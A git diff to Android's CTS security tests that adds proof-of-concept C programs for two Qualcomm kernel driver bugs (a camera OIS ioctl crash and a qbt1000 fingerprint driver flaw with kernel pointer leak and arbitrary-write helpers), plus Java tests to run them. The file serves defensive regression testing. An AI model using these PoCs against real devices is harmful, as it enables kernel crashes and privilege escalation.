diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index e1b5bd1..210d1d3 100644
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -87,6 +87,7 @@
<option name="push" value="Bug-35047217->/data/local/tmp/Bug-35047217" />
<option name="push" value="Bug-35048450->/data/local/tmp/Bug-35048450" />
<option name="push" value="Bug-35644815->/data/local/tmp/Bug-35644815" />
+ <option name="push" value="Bug-35216793->/data/local/tmp/Bug-35216793" />
<!--__________________-->
<!-- Bulletin 2017-07 -->
@@ -112,6 +113,7 @@
<option name="push" value="CVE-2017-9692->/data/local/tmp/CVE-2017-9692" />
<option name="push" value="Bug-35764875->/data/local/tmp/Bug-35764875" />
<option name="push" value="Bug-35644510->/data/local/tmp/Bug-35644510" />
+ <option name="push" value="CVE-2017-9680->/data/local/tmp/CVE-2017-9680" />
<!--__________________-->
<!-- Bulletin 2017-09 -->
diff --git a/hostsidetests/security/securityPatch/Bug-35216793/Android.mk b/hostsidetests/security/securityPatch/Bug-35216793/Android.mk
new file mode 100644
index 0000000..e5b9e7e
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35216793/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-35216793
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35216793/local_poc.h b/hostsidetests/security/securityPatch/Bug-35216793/local_poc.h
new file mode 100644
index 0000000..c7eaee0
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35216793/local_poc.h
@@ -0,0 +1,345 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __CMD_H__
+#define __CMD_H__
+#include <linux/types.h>
+
+#define _IOC_NRBITS 8
+#define _IOC_TYPEBITS 8
+
+/*
+ * Let any architecture override either of the following before
+ * including this file.
+ */
+
+#ifndef _IOC_SIZEBITS
+#define _IOC_SIZEBITS 14
+#endif
+
+#ifndef _IOC_DIRBITS
+#define _IOC_DIRBITS 2
+#endif
+
+#define _IOC_NRMASK ((1 << _IOC_NRBITS) - 1)
+#define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS) - 1)
+#define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS) - 1)
+#define _IOC_DIRMASK ((1 << _IOC_DIRBITS) - 1)
+
+#define _IOC_NRSHIFT 0
+#define _IOC_TYPESHIFT (_IOC_NRSHIFT + _IOC_NRBITS)
+#define _IOC_SIZESHIFT (_IOC_TYPESHIFT + _IOC_TYPEBITS)
+#define _IOC_DIRSHIFT (_IOC_SIZESHIFT + _IOC_SIZEBITS)
+
+/*
+ * Direction bits, which any architecture can choose to override
+ * before including this file.
+ */
+
+#ifndef _IOC_NONE
+#define _IOC_NONE 0U
+#endif
+
+#ifndef _IOC_WRITE
+#define _IOC_WRITE 1U
+#endif
+
+#ifndef _IOC_READ
+#define _IOC_READ 2U
+#endif
+
+#define _IOC_TYPECHECK(t) (sizeof(t))
+#define _IOC(dir, type, nr, size) \
+ (((dir) << _IOC_DIRSHIFT) | ((type) << _IOC_TYPESHIFT) | \
+ ((nr) << _IOC_NRSHIFT) | ((size) << _IOC_SIZESHIFT))
+
+/* used to create numbers */
+#define _IO(type, nr) _IOC(_IOC_NONE, (type), (nr), 0)
+#define _IOR(type, nr, size) \
+ _IOC(_IOC_READ, (type), (nr), (_IOC_TYPECHECK(size)))
+#define _IOW(type, nr, size) \
+ _IOC(_IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
+#define _IOWR(type, nr, size) \
+ _IOC(_IOC_READ | _IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
+
+enum v4l2_buf_type {
+ V4L2_BUF_TYPE_VIDEO_CAPTURE = 1,
+ V4L2_BUF_TYPE_VIDEO_OUTPUT = 2,
+ V4L2_BUF_TYPE_VIDEO_OVERLAY = 3,
+ V4L2_BUF_TYPE_VBI_CAPTURE = 4,
+ V4L2_BUF_TYPE_VBI_OUTPUT = 5,
+ V4L2_BUF_TYPE_SLICED_VBI_CAPTURE = 6,
+ V4L2_BUF_TYPE_SLICED_VBI_OUTPUT = 7,
+#if 1
+ /* Experimental */
+ V4L2_BUF_TYPE_VIDEO_OUTPUT_OVERLAY = 8,
+#endif
+ V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE = 9,
+ V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE = 10,
+ V4L2_BUF_TYPE_SDR_CAPTURE = 11,
+ /* Deprecated, do not use */
+ V4L2_BUF_TYPE_PRIVATE = 0x80,
+};
+
+struct v4l2_timecode {
+ __u32 type;
+ __u32 flags;
+ __u8 frames;
+ __u8 seconds;
+ __u8 minutes;
+ __u8 hours;
+ __u8 userbits[4];
+};
+
+struct v4l2_buffer {
+ __u32 index;
+ __u32 type;
+ __u32 bytesused;
+ __u32 flags;
+ __u32 field;
+ struct timeval timestamp;
+ struct v4l2_timecode timecode;
+ __u32 sequence;
+
+ /* memory location */
+ __u32 memory;
+ union {
+ __u32 offset;
+ unsigned long userptr;
+ struct v4l2_plane *planes;
+ __s32 fd;
+ } m;
+ __u32 length;
+ __u32 reserved2;
+ __u32 reserved;
+};
+
+#define BASE_VIDIOC_PRIVATE 192 /* 192-255 are private */
+
+enum msm_actuator_cfg_type_t {
+ CFG_GET_ACTUATOR_INFO,
+ CFG_SET_ACTUATOR_INFO,
+ CFG_SET_DEFAULT_FOCUS,
+ CFG_MOVE_FOCUS,
+ CFG_SET_POSITION,
+ CFG_ACTUATOR_POWERDOWN,
+ CFG_ACTUATOR_POWERUP,
+ CFG_ACTUATOR_INIT,
+};
+
+typedef unsigned int compat_uptr_t;
+struct msm_actuator_move_params_t32 {
+ int8_t dir;
+ int8_t sign_dir;
+ int16_t dest_step_pos;
+ int32_t num_steps;
+ uint16_t curr_lens_pos;
+ compat_uptr_t ringing_params;
+};
+
+enum actuator_type {
+ ACTUATOR_VCM,
+ ACTUATOR_PIEZO,
+ ACTUATOR_HVCM,
+ ACTUATOR_BIVCM,
+};
+
+enum i2c_freq_mode_t {
+ I2C_STANDARD_MODE,
+ I2C_FAST_MODE,
+ I2C_CUSTOM_MODE,
+ I2C_CUSTOM1_MODE,
+ I2C_CUSTOM2_MODE,
+ I2C_FAST_PLUS_MODE,
+ I2C_MAX_MODES,
+};
+
+enum msm_camera_i2c_reg_addr_type {
+ MSM_CAMERA_I2C_BYTE_ADDR = 1,
+ MSM_CAMERA_I2C_WORD_ADDR,
+ MSM_CAMERA_I2C_3B_ADDR,
+ MSM_CAMERA_I2C_ADDR_TYPE_MAX,
+};
+
+enum msm_camera_i2c_data_type {
+ MSM_CAMERA_I2C_BYTE_DATA = 1,
+ MSM_CAMERA_I2C_WORD_DATA,
+ MSM_CAMERA_I2C_DWORD_DATA,
+ MSM_CAMERA_I2C_SET_BYTE_MASK,
+ MSM_CAMERA_I2C_UNSET_BYTE_MASK,
+ MSM_CAMERA_I2C_SET_WORD_MASK,
+ MSM_CAMERA_I2C_UNSET_WORD_MASK,
+ MSM_CAMERA_I2C_SET_BYTE_WRITE_MASK_DATA,
+ MSM_CAMERA_I2C_DATA_TYPE_MAX,
+};
+
+struct park_lens_data_t {
+ uint32_t damping_step;
+ uint32_t damping_delay;
+ uint32_t hw_params;
+ uint32_t max_step;
+};
+
+struct msm_actuator_params_t32 {
+ enum actuator_type act_type;
+ uint8_t reg_tbl_size;
+ uint16_t data_size;
+ uint16_t init_setting_size;
+ uint32_t i2c_addr;
+ enum i2c_freq_mode_t i2c_freq_mode;
+ enum msm_camera_i2c_reg_addr_type i2c_addr_type;
+ enum msm_camera_i2c_data_type i2c_data_type;
+ compat_uptr_t reg_tbl_params;
+ compat_uptr_t init_settings;
+ struct park_lens_data_t park_lens;
+};
+
+struct msm_actuator_tuning_params_t32 {
+ int16_t initial_code;
+ uint16_t pwd_step;
+ uint16_t region_size;
+ uint32_t total_steps;
+ compat_uptr_t region_params;
+};
+
+struct msm_actuator_set_info_t32 {
+ struct msm_actuator_params_t32 actuator_params;
+ struct msm_actuator_tuning_params_t32 af_tuning_params;
+};
+
+struct msm_actuator_get_info_t {
+ uint32_t focal_length_num;
+ uint32_t focal_length_den;
+ uint32_t f_number_num;
+ uint32_t f_number_den;
+ uint32_t f_pix_num;
+ uint32_t f_pix_den;
+ uint32_t total_f_dist_num;
+ uint32_t total_f_dist_den;
+ uint32_t hor_view_angle_num;
+ uint32_t hor_view_angle_den;
+ uint32_t ver_view_angle_num;
+ uint32_t ver_view_angle_den;
+};
+
+#define MAX_NUMBER_OF_STEPS 47
+struct msm_actuator_set_position_t {
+ uint16_t number_of_steps;
+ uint32_t hw_params;
+ uint16_t pos[MAX_NUMBER_OF_STEPS];
+ uint16_t delay[MAX_NUMBER_OF_STEPS];
+};
+
+enum af_camera_name {
+ ACTUATOR_MAIN_CAM_0,
+ ACTUATOR_MAIN_CAM_1,
+ ACTUATOR_MAIN_CAM_2,
+ ACTUATOR_MAIN_CAM_3,
+ ACTUATOR_MAIN_CAM_4,
+ ACTUATOR_MAIN_CAM_5,
+ ACTUATOR_WEB_CAM_0,
+ ACTUATOR_WEB_CAM_1,
+ ACTUATOR_WEB_CAM_2,
+};
+
+struct msm_actuator_cfg_data32 {
+ int cfgtype;
+ uint8_t is_af_supported;
+ union {
+ struct msm_actuator_move_params_t32 move;
+ struct msm_actuator_set_info_t32 set_info;
+ struct msm_actuator_get_info_t get_info;
+ struct msm_actuator_set_position_t setpos;
+ enum af_camera_name cam_name;
+ } cfg;
+};
+struct region_params_t {
+ /* [0] = ForwardDirection Macro boundary
+ [1] = ReverseDirection Inf boundary
+ */
+ unsigned short step_bound[2];
+ unsigned short code_per_step;
+ /* qvalue for converting float type numbers to integer format */
+ unsigned int qvalue;
+};
+
+#define VIDIOC_MSM_ACTUATOR_CFG32 \
+ _IOWR('V', BASE_VIDIOC_PRIVATE + 6, struct msm_actuator_cfg_data32)
+
+#define VIDIOC_QBUF _IOWR('V', 15, struct v4l2_buffer)
+
+#define I2C_SEQ_REG_DATA_MAX 1024
+
+enum msm_ois_cfg_type_t {
+ CFG_OIS_INIT,
+ CFG_OIS_POWERDOWN,
+ CFG_OIS_POWERUP,
+ CFG_OIS_CONTROL,
+ CFG_OIS_I2C_WRITE_SEQ_TABLE,
+};
+
+enum msm_ois_i2c_operation {
+ MSM_OIS_WRITE = 0,
+ MSM_OIS_POLL,
+};
+
+struct reg_settings_ois_t {
+ uint16_t reg_addr;
+ enum msm_camera_i2c_reg_addr_type addr_type;
+ uint32_t reg_data;
+ enum msm_camera_i2c_data_type data_type;
+ enum msm_ois_i2c_operation i2c_operation;
+ uint32_t delay;
+};
+struct msm_ois_params_t {
+ uint16_t data_size;
+ uint16_t setting_size;
+ uint32_t i2c_addr;
+ enum i2c_freq_mode_t i2c_freq_mode;
+ enum msm_camera_i2c_reg_addr_type i2c_addr_type;
+ enum msm_camera_i2c_data_type i2c_data_type;
+ struct reg_settings_ois_t *settings;
+};
+
+struct msm_ois_set_info_t {
+ struct msm_ois_params_t ois_params;
+};
+
+struct msm_camera_i2c_seq_reg_array {
+ unsigned short reg_addr;
+ unsigned char reg_data[I2C_SEQ_REG_DATA_MAX];
+ unsigned short reg_data_size;
+};
+
+struct msm_camera_i2c_seq_reg_setting {
+ struct msm_camera_i2c_seq_reg_array *reg_setting;
+ unsigned short size;
+ enum msm_camera_i2c_reg_addr_type addr_type;
+ unsigned short delay;
+};
+
+struct msm_ois_cfg_data {
+ int cfgtype;
+ union {
+ struct msm_ois_set_info_t set_info;
+ struct msm_camera_i2c_seq_reg_setting *settings;
+ } cfg;
+};
+
+#define VIDIOC_MSM_OIS_CFG \
+ _IOWR('V', BASE_VIDIOC_PRIVATE + 11, struct msm_ois_cfg_data)
+
+#endif
diff --git a/hostsidetests/security/securityPatch/Bug-35216793/poc.c b/hostsidetests/security/securityPatch/Bug-35216793/poc.c
new file mode 100644
index 0000000..314228d
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35216793/poc.c
@@ -0,0 +1,92 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <sys/wait.h>
+#include <unistd.h>
+#include <string.h>
+
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/mman.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include "local_poc.h"
+
+int main(int argc, char **argv) {
+ int fd, ret, i, count;
+ pthread_t tid[2];
+ char buf[256];
+ char subdev[32] = {0};
+
+ struct msm_ois_cfg_data data;
+ struct msm_ois_set_info_t *info;
+ struct msm_ois_params_t *param;
+
+ count = 0;
+retry:
+ for (i = 0; i < 32; i++) {
+ if (snprintf(subdev, sizeof(subdev), "/dev/v4l-subdev%d", i) < 0) {
+ exit(EXIT_FAILURE);
+ }
+ fd = open(subdev, O_RDWR, 0);
+ if (fd < 0) {
+ return -1;
+ }
+
+ data.cfgtype = CFG_OIS_INIT;
+ ret = ioctl(fd, VIDIOC_MSM_OIS_CFG, &data);
+
+ data.cfgtype = CFG_OIS_CONTROL;
+ info = &data.cfg.set_info;
+ param = &info->ois_params;
+ param->i2c_freq_mode = 639630796;
+ param->setting_size = 5;
+ param->settings = 0;
+
+ ret = ioctl(fd, VIDIOC_MSM_OIS_CFG, &data);
+
+ close(fd);
+
+ fd = open(subdev, O_RDWR, 0);
+ if (fd < 0) {
+ return -1;
+ }
+
+ data.cfgtype = CFG_OIS_INIT;
+ ret = ioctl(fd, VIDIOC_MSM_OIS_CFG, &data);
+
+ data.cfgtype = CFG_OIS_CONTROL;
+ info = &data.cfg.set_info;
+ param = &info->ois_params;
+ param->i2c_freq_mode = 639630796;
+ param->setting_size = 5;
+ param->settings = 0;
+
+ ret = ioctl(fd, VIDIOC_MSM_OIS_CFG, &data);
+
+ close(fd);
+ }
+ sleep(0.5);
+ printf("[pid:%d] try %d again!\n", getpid(), ++count);
+ goto retry;
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-9680/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-9680/Android.mk
new file mode 100644
index 0000000..7b7e2d0
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-9680/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-9680
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-9680/poc.c b/hostsidetests/security/securityPatch/CVE-2017-9680/poc.c
new file mode 100644
index 0000000..3d2835a
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-9680/poc.c
@@ -0,0 +1,267 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+static const char *dev = "/dev/qbt1000";
+
+#define QBT1000_SNS_SERVICE_ID 0x138
+#define QBT1000_SNS_SERVICE_VER_ID 1
+#define QBT1000_SNS_INSTANCE_INST_ID 0
+
+#define SNS_QFP_OPEN_RESP_V01 0x0020
+
+#define QMI_REQUEST_CONTROL_FLAG 0x00
+#define QMI_RESPONSE_CONTROL_FLAG 0x02
+#define QMI_INDICATION_CONTROL_FLAG 0x04
+#define QMI_HEADER_SIZE 7
+
+#define OPTIONAL_TLV_TYPE_START 0x10
+
+enum elem_type {
+ QMI_OPT_FLAG = 1,
+ QMI_DATA_LEN,
+ QMI_UNSIGNED_1_BYTE,
+ QMI_UNSIGNED_2_BYTE,
+ QMI_UNSIGNED_4_BYTE,
+ QMI_UNSIGNED_8_BYTE,
+ QMI_SIGNED_2_BYTE_ENUM,
+ QMI_SIGNED_4_BYTE_ENUM,
+ QMI_STRUCT,
+ QMI_STRING,
+ QMI_EOTI,
+};
+
+volatile int cont = 1;
+
+struct qmi_header {
+ unsigned char cntl_flag;
+ uint16_t txn_id;
+ uint16_t msg_id;
+ uint16_t msg_len;
+} __attribute__((__packed__));
+
+struct qseecom_handle {
+ void *dev;
+ unsigned char *sbuf;
+ uint32_t sbuf_len;
+};
+
+enum qbt1000_commands {
+ QBT1000_LOAD_APP = 100,
+ QBT1000_UNLOAD_APP = 101,
+ QBT1000_SEND_TZCMD = 102
+};
+
+struct qbt1000_app {
+ struct qseecom_handle **app_handle;
+ char name[32];
+ uint32_t size;
+ uint8_t high_band_width;
+};
+
+struct qbt1000_send_tz_cmd {
+ struct qseecom_handle *app_handle;
+ uint8_t *req_buf;
+ uint32_t req_buf_len;
+ uint8_t *rsp_buf;
+ uint32_t rsp_buf_len;
+};
+
+struct msm_ipc_port_addr {
+ uint32_t node_id;
+ uint32_t port_id;
+};
+
+struct msm_ipc_port_name {
+ uint32_t service;
+ uint32_t instance;
+};
+
+struct msm_ipc_addr {
+ unsigned char addrtype;
+ union {
+ struct msm_ipc_port_addr port_addr;
+ struct msm_ipc_port_name port_name;
+ } addr;
+};
+
+#define AF_MSM_IPC 27
+
+#define PF_MSM_IPCAF_MSM_IPC
+
+#define MSM_IPC_ADDR_NAME 1
+#define MSM_IPC_ADDR_ID 2
+
+struct sockaddr_msm_ipc {
+ unsigned short family;
+ struct msm_ipc_addr address;
+ unsigned char reserved;
+};
+
+struct qbt1000_app app = {0};
+
+static int get_fd(const char *dev_node) {
+ int fd;
+ fd = open(dev_node, O_RDWR);
+ if (fd < 0) {
+ cont = 0;
+ exit(EXIT_FAILURE);
+ }
+
+ return fd;
+}
+
+static void leak_heap_ptr(int fd) {
+ void *addr = NULL;
+ app.app_handle = (void *)&addr;
+ app.size = 32;
+ ioctl(fd, QBT1000_LOAD_APP, &app);
+}
+
+static void arb_kernel_write_load_app(int fd) {
+ struct qbt1000_app app = {0};
+
+ app.app_handle = (void *)0xABADACCE55013337;
+ ioctl(fd, QBT1000_LOAD_APP, &app);
+}
+
+static void arb_kernel_write_send_tzcmd(int fd) {
+ struct qseecom_handle hdl = {0};
+ struct qbt1000_send_tz_cmd cmd = {0};
+ int x = 0;
+
+ hdl.sbuf = (void *)0xffffffc0017b1b84;
+ cmd.app_handle = &hdl;
+ cmd.req_buf = &x;
+ cmd.rsp_buf = NULL;
+ cmd.req_buf_len = cmd.rsp_buf_len = 4;
+
+ ioctl(fd, QBT1000_SEND_TZCMD, &cmd);
+}
+
+static void print_msg(char *msg) {
+ int i;
+ for (i = 0; i < 4096; i++) printf("%hx ", msg[i]);
+ printf("\n");
+}
+
+static void recv_msgs(int fd) {
+ struct msghdr msg = {0};
+ struct iovec io = {0};
+ struct sockaddr_msm_ipc addr = {0};
+ struct msm_ipc_addr address = {0};
+ uint8_t *ptr;
+ struct qmi_header *hdr;
+ int count = 1;
+
+ io.iov_base = malloc(4096);
+ memset(io.iov_base, 0, 4096);
+ io.iov_len = 4096;
+
+ msg.msg_iovlen = 1;
+ msg.msg_iov = &io;
+ msg.msg_name = &addr;
+ msg.msg_namelen = sizeof(addr);
+
+ while (cont) {
+ recvmsg(fd, &msg, MSG_CMSG_CLOEXEC);
+ memset(io.iov_base, 0, 128);
+ hdr = io.iov_base;
+
+ hdr->cntl_flag = QMI_RESPONSE_CONTROL_FLAG;
+ hdr->txn_id = count++;
+ hdr->msg_id = SNS_QFP_OPEN_RESP_V01;
+ hdr->msg_len = 3;
+
+ ptr = io.iov_base + sizeof(*hdr);
+
+ *ptr = OPTIONAL_TLV_TYPE_START;
+ ptr++;
+ *ptr = 0;
+ ptr++;
+ *ptr = 0;
+ sendmsg(fd, &msg, MSG_CMSG_CLOEXEC);
+ }
+}
+
+#define BUILD_INSTANCE_ID(vers, ins) (((vers)&0xFF) | (((ins)&0xFF) << 8))
+static void setup_ipc_server(void) {
+ int fd;
+ struct sockaddr_msm_ipc addr = {0};
+ fd = socket(AF_MSM_IPC, SOCK_DGRAM, 0);
+
+ if (fd < 0) {
+ printf("Couldn't open socket %s\n", strerror(errno));
+ exit(EXIT_FAILURE);
+ }
+
+ addr.family = AF_MSM_IPC;
+ addr.address.addrtype = MSM_IPC_ADDR_NAME;
+ addr.address.addr.port_name.service = QBT1000_SNS_SERVICE_ID;
+ addr.address.addr.port_name.instance = BUILD_INSTANCE_ID(
+ QBT1000_SNS_SERVICE_VER_ID, QBT1000_SNS_INSTANCE_INST_ID);
+
+ bind(fd, (struct sockaddr *)&addr, sizeof(addr));
+ recv_msgs(fd);
+}
+
+static void *leak_ptr(void *ignore) {
+ void *save;
+ while (cont) {
+ if (app.app_handle != NULL) {
+ save = *app.app_handle;
+ if (save != NULL) {
+ break;
+ }
+ }
+ }
+ return (void *)NULL;
+}
+
+static void *do_ipc_crap(void *ignore) {
+ setup_ipc_server();
+ return (void *)NULL;
+}
+
+int main(void) {
+ int fd;
+
+ pthread_t race_car;
+ pthread_t race_car1;
+ pthread_create(&race_car, NULL, do_ipc_crap, NULL);
+ usleep(50000);
+
+ fd = get_fd(dev);
+
+ for (;;) {
+ int err = ioctl(fd, 0, (unsigned long)-4095);
+
+ usleep(5000);
+ }
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_06.java b/hostsidetests/security/src/android/security/cts/Poc17_06.java
index 9ea7d9d..c5c4e14 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_06.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_06.java
@@ -109,4 +109,15 @@
assertMatches("[\\s\\n\\S]*INFO DISC FLAG: 0000[\\s\\n\\S]*", pocOut);
}
}
+
+ /**
+ * b/35216793
+ */
+ @SecurityTest
+ public void testPocBug_35216793() throws Exception {
+ enableAdbRoot(getDevice());
+ if(containsDriver(getDevice(), "/dev/v4l-subdev*")) {
+ AdbUtils.runPocNoOutput("Bug-35216793", getDevice(), 60);
+ }
+ }
}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_08.java b/hostsidetests/security/src/android/security/cts/Poc17_08.java
index 7c092e2..61edc9c 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_08.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_08.java
@@ -89,4 +89,15 @@
"{16}[\\s\\n\\S]*", pocOut);
}
}
+
+ /**
+ * b/35764241
+ */
+ @SecurityTest
+ public void testPocCVE_2017_9680() throws Exception {
+ enableAdbRoot(getDevice());
+ if(containsDriver(getDevice(), "/dev/qbt1000")) {
+ AdbUtils.runPocNoOutput("CVE-2017-9680", getDevice(), 120);
+ }
+ }
}
diff --git a/tests/tests/security/res/raw/cve_2017_0728.mp4 b/tests/tests/security/res/raw/cve_2017_0728.mp4
new file mode 100644
index 0000000..372eb69
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_0728.mp4
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 9c73599..4c8e545 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -74,6 +74,11 @@
***********************************************************/
@SecurityTest
+ public void testStagefright_cve_2017_0728() throws Exception {
+ doStagefrightTest(R.raw.cve_2017_0728);
+ }
+
+ @SecurityTest
public void testStagefright_bug_62187433() throws Exception {
doStagefrightTest(R.raw.bug_62187433);
}